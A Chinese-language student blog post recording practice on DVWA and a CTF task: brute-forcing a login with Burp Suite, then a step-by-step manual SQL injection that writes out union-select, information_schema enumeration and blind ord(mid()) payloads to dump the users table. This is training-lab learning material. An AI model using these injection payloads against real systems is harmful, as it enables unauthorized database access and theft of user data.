一,**
第一次接触暴力**是在攻防世界web里面,题目是这样的:
DVWA 笔记(1)
打开场景DVWA 笔记(1)
利用burp对其进行**、
首先连接代理 对其进行抓包DVWA 笔记(1)DVWA 笔记(1)DVWA 笔记(1)
选择**类型DVWA 笔记(1)
这里是在网上找的大佬的字典
DVWA 笔记(1)
最后找出lenght值与其他不一样的 即为我们所需要的得到flag.
DVWA 笔记(1)
上面的题虽然是攻防世界的,但是与DVWA 的第一题同一种做法(类型体)
DVWA 笔记(1)
但是这道题却出现了问题:
DVWA 笔记(1)
在谷歌中抓不到本地包需要手动设置代理最后使用了火狐浏览器 设置了手动代理才成功抓到包DVWA 笔记(1)
做题步骤与上面一样我就不多说了。
二,SQL注入
通过前几次师傅的培训对这部分有所了解,但是能力还是远远不够
(随便试了个1就成了。。。。。。)再试个2 DVWA 笔记(1)发现到了5就到了结点处 5 以后的都不会出现结果(于是猜测,是否后台应用程序将此值看做了字符型)
DVWA 笔记(1)
输入英文字母也是没有什么反应。。。。。试试 标点符号
当输入 “ ’ ” 时发现DVWA 笔记(1)
这应该是其漏洞之处。
因为我对实在没什么思路,我只好上网求助师傅根据师傅的思路走下来。
测试查询信息列数。利用语句 order by num
这里我们输入 " 1’order by 1 – " 结果页面正常显示,注意-- 后面有空格。继续测试, " 1’order by 2 – ", " 1’order by 3 – ",
当输入3是,页面报错。页面错误信息如下, Unknown column ‘3’ in ‘order clause’,由此我们判断查询结果值为2列。
DVWA 笔记(1)
DVWA 笔记(1)
通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。

这里尝试注入 “ 1’ and 1=2 union select 1,2 – ”结果如下
1’ and 1=2 union select 1,2 –
DVWA 笔记(1)
1’ and 1=2 union select user(),database() –
DVWA 笔记(1)
发现连接该数据库的用户为 [email protected] ,数据库名称为dvwa

1’ and 1=2 union select version(),database() –
DVWA 笔记(1)
现在尝试获得系统信息

利用:1’and 1=2 union select 1,@@global.version_compile_os from mysql.user –
DVWA 笔记(1)
再输入 1’ and ord(mid(user(),1,1))=114 – 测试连接数据库权限
DVWA 笔记(1)
正常返回说明 为 root

查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
利用语句:1’ and 1=2 union select 1,schema_name from information_schema.schemata –
DVWA 笔记(1)
猜解dvwa数据库中的表名。 (根据师傅的提醒 users)
1’ and exists(select * from users) –
得到
DVWA 笔记(1)
猜解字段名:1’ and exists(select 表名 from users) – ,这里测试的字段名有first_name,last_name
1’ and exists(select first_name from users) –
DVWA 笔记(1)

1’ and exists(select last_name from users) –
DVWA 笔记(1)
最后是输入:
1’ and 1=2 union select first_name,last_name from users –
就会出现存放管理员账户的表
DVWA 笔记(1)

SQL 注入大部分还是根据师傅的思路走的,我自己还有很多不足,必须加油学习。

相关文章:

  • 2021-09-05
  • 2021-09-13
  • 2021-12-06
  • 2022-12-23
  • 2021-04-17
  • 2021-06-07
  • 2023-01-18
猜你喜欢
  • 2021-10-14
  • 2021-10-24
  • 2021-11-02
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案